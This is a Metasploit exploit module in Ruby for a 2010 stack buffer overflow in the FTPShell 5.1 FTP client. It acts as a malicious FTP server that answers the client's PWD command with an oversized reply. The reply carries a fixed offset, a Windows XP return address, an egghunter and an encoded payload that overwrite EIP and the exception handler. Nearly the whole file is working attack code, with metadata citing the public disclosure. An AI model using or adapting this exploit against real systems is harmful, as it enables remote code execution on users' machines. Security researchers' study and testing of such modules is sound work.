1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GoodRanking
8

9
  include Exploit::Remote::FtpServer
10
  include Exploit::Remote::Egghunter
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'FTPShell 5.1 Stack Buffer Overflow',
17
        'Description' => %q{
18
          This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets
19
          triggered when the ftp client tries to process an overly long response to a PWD
20
          command. This will overwrite the saved EIP and structured exception handler.
21
        },
22
        'Author' => [
23
          'corelanc0d3r <peter.ve[at]corelan.be>'	# found bug, wrote the exploit
24
        ],
25
        'License' => MSF_LICENSE,
26
        'References' => [
27
          [ 'OSVDB', '68639'],
28
          [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
29
        ],
30
        'DefaultOptions' => {
31
          'EXITFUNC' => 'thread',
32
        },
33
        'Payload' => {
34
          'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
35
        },
36
        'Platform' => 'win',
37
        'Targets' => [
38
          [ 'Windows XP Universal', { 'Offset' => 399, 'Ret' => 0x779A5483 } ], # jmp ebp [setupapi.dll]]
39
        ],
40
        'Privileged' => false,
41
        'DisclosureDate' => '2010-10-12',
42
        'DefaultTarget' => 0,
43
        'Notes' => {
44
          'Reliability' => UNKNOWN_RELIABILITY,
45
          'Stability' => UNKNOWN_STABILITY,
46
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
        }
48
      )
49
    )
50
  end
51

52
  def setup
53
    super
54
  end
55

56
  def on_client_unknown_command(c, cmd, arg)
57
    c.put("200 OK\r\n")
58
  end
59

60
  def on_client_command_pwd(c, arg)
61
    badchars = ""
62
    eggoptions =
63
      {
64
        :checksum => true,
65
        :eggtag => "w00t"
66
      }
67
    hunter, egg = generate_egghunter(payload.encoded, badchars, eggoptions)
68

69
    print_status(" - PWD command -> Sending payload")
70
    junk = "A" * target['Offset']
71
    nops = "A" * 10
72
    tweakhunter = "\x5a\x5a"
73
    eip = [target.ret].pack('V')
74
    buffer = junk + eip + nops + tweakhunter + hunter + egg
75
    pwdoutput = "257  \"/" + buffer + "\" is current directory\r\n"
76
    c.put(pwdoutput)
77
    print_status(" - Sent #{pwdoutput.length} bytes, wait for hunter")
78
    return
79
  end
80
end
81

82